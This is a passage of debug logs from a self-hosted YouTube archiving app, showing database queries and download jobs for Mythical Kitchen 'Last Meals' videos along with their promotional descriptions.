idle=93.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:07.076 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:07.076 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12] 20:47:07.076 [info] Kicking off download for media item #12 (palAzhniUBg) 20:47:07.077 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [15, 12, ~U[2026-03-28 00:47:07Z], ~U[2026-03-28 00:47:07Z]] 20:47:07.077 [debug] Current batch of media processed. Will check again in 1000ms 20:47:08.078 [debug] Current batch of media processed. Will check again in 1000ms 20:47:09.080 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Steve-O's last meal.\n\n0:00 Steve-O's Last Meal Menu\n1:01 Colonoscopy Prep\n2:04 Have You Thought About Your Last Meal Before?\n3:08 Existence Is A Cruel Prank\n4:05 1st Course - Monster Munch & Vegan Spinach Dip\n4:45 Steve-O Takes Off His Pants\n6:29 True Love & Steve-O's New Comedy Special\n8:44 Steve-O Calls Himself A Distraction Therapist\n9:59 Do You Believe In An Afterlife?\n12:00 Embarrassed By A Rich Dad\n13:31 2nd Course - Lobster, Mashed Potatoes, & Liquid Death\n15:10 Addictive Tendencies \n16:22 Johnny Knoxville's Intervention With Steve-O\n18:20 Commitment To Sobriety\n19:32 Genuine Joy\n20:06 3rd Course, Grilled Cheese, Tempura Roll, & Hot Sauce For Your Butthole\n22:33 Therapy & Sex Addition\n23:40 Do You Think You're Underestimated By People?\n24:39 4th Course - Pecan Pie With Melted Reese's & Hot Coffee\n25:50 Aging Is A Party Foul\n27:02 When A Parent Suffers\n30:24 Who's The One Person You'd Want To Share Your Last Meal With?\n30:56 Which Jackass Co-Star Would You Kick In The Nuts?\n31:13 What's Your Greatest Regret?\n31:47 Are You Happy?\n33:22 Steve-O's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-" <> ..., "duration" => 2074, "filename" => "/downloads/Last Meals/2023-11-28 Steve-O Eats His Last Meal/Steve-O Eats His Last Meal [ZkiiyJYaXkQ].mp4", "id" => "ZkiiyJYaXkQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZkiiyJYaXkQ", "playlist_index" => 13, "timestamp" => 1701169227, "title" => "Steve-O Eats His Last Meal", "upload_date" => "20231128"} 20:47:09.081 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=92.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:09.081 [debug] QUERY OK source="sources" db=0.2ms idle=23.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:09.082 [debug] QUERY OK source="media_items" db=0.2ms idle=24.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-28 11:00:27Z], 1] 20:47:09.088 [debug] QUERY OK source="media_items" db=5.6ms idle=25.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Steve-O's last meal.\n\n0:00 Steve-O's Last Meal Menu\n1:01 Colonoscopy Prep\n2:04 Have You Thought About Your Last Meal Before?\n3:08 Existence Is A Cruel Prank\n4:05 1st Course - Monster Munch & Vegan Spinach Dip\n4:45 Steve-O Takes Off His Pants\n6:29 True Love & Steve-O's New Comedy Special\n8:44 Steve-O Calls Himself A Distraction Therapist\n9:59 Do You Believe In An Afterlife?\n12:00 Embarrassed By A Rich Dad\n13:31 2nd Course - Lobster, Mashed Potatoes, & Liquid Death\n15:10 Addictive Tendencies \n16:22 Johnny Knoxville's Intervention With Steve-O\n18:20 Commitment To Sobriety\n19:32 Genuine Joy\n20:06 3rd Course, Grilled Cheese, Tempura Roll, & Hot Sauce For Your Butthole\n22:33 Therapy & Sex Addition\n23:40 Do You Think You're Underestimated By People?\n24:39 4th Course - Pecan Pie With Melted Reese's & Hot Coffee\n25:50 Aging Is A Party Foul\n27:02 When A Parent Suffers\n30:24 Who's The One Person You'd Want To Share Your Last Meal With?\n30:56 Which Jackass Co-Star Would You Kick In The Nuts?\n31:13 What's Your Greatest Regret?\n31:47 Are You Happy?\n33:22 Steve-O's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-" <> ..., "Steve-O Eats His Last Meal", "1ca0745c-fc3c-4c3b-ada6-0f70d25ad18e", "https://www.youtube.com/watch?v=ZkiiyJYaXkQ", false, "ZkiiyJYaXkQ", 2074, false, 13, "/downloads/Last Meals/2023-11-28 Steve-O Eats His Last Meal/Steve-O Eats His Last Meal [ZkiiyJYaXkQ].mp4", false, false, 1, [], 0, ~U[2023-11-28 11:00:27Z], ~U[2026-03-28 00:47:09Z], ~U[2026-03-28 00:47:09Z], "Today, Josh is cooking Steve-O's last meal.\n\n0:00 Steve-O's Last Meal Menu\n1:01 Colonoscopy Prep\n2:04 Have You Thought About Your Last Meal Before?\n3:08 Existence Is A Cruel Prank\n4:05 1st Course - Monster Munch & Vegan Spinach Dip\n4:45 Steve-O Takes Off His Pants\n6:29 True Love & Steve-O's New Comedy Special\n8:44 Steve-O Calls Himself A Distraction Therapist\n9:59 Do You Believe In An Afterlife?\n12:00 Embarrassed By A Rich Dad\n13:31 2nd Course - Lobster, Mashed Potatoes, & Liquid Death\n15:10 Addictive Tendencies \n16:22 Johnny Knoxville's Intervention With Steve-O\n18:20 Commitment To Sobriety\n19:32 Genuine Joy\n20:06 3rd Course, Grilled Cheese, Tempura Roll, & Hot Sauce For Your Butthole\n22:33 Therapy & Sex Addition\n23:40 Do You Think You're Underestimated By People?\n24:39 4th Course - Pecan Pie With Melted Reese's & Hot Coffee\n25:50 Aging Is A Party Foul\n27:02 When A Parent Suffers\n30:24 Who's The One Person You'd Want To Share Your Last Meal With?\n30:56 Which Jackass Co-Star Would You Kick In The Nuts?\n31:13 What's Your Greatest Regret?\n31:47 Are You Happy?\n33:22 Steve-O's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalm (truncated) 20:47:09.088 [debug] QUERY OK source="sources" db=0.0ms idle=30.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:09.088 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:09.089 [debug] QUERY OK source="media_items" db=0.0ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13] 20:47:09.089 [info] Kicking off download for media item #13 (ZkiiyJYaXkQ) 20:47:09.089 [debug] QUERY OK source="tasks" db=0.0ms idle=0.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [16, 13, ~U[2026-03-28 00:47:09Z], ~U[2026-03-28 00:47:09Z]] 20:47:09.089 [debug] Current batch of media processed. Will check again in 1000ms 20:47:10.090 [debug] Current batch of media processed. Will check again in 1000ms 20:47:11.091 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Rhett McLaughlin's last meal. Last Meals Ep.1\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1404, "filename" => "/downloads/Last Meals/2022-01-11 Rhett Eats His Last Meal/Rhett Eats His Last Meal [Y7NoOqhQiUw].mp4", "id" => "Y7NoOqhQiUw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Y7NoOqhQiUw", "playlist_index" => 14, "timestamp" => 1641898815, "title" => "Rhett Eats His Last Meal", "upload_date" => "20220111"} 20:47:11.092 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=101.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:11.093 [debug] QUERY OK source="sources" db=0.1ms idle=35.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:11.093 [debug] QUERY OK source="media_items" db=0.2ms idle=35.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-11 11:00:15Z], 1] 20:47:11.096 [debug] QUERY OK source="media_items" db=2.1ms idle=36.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Rhett McLaughlin's last meal. Last Meals Ep.1\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - 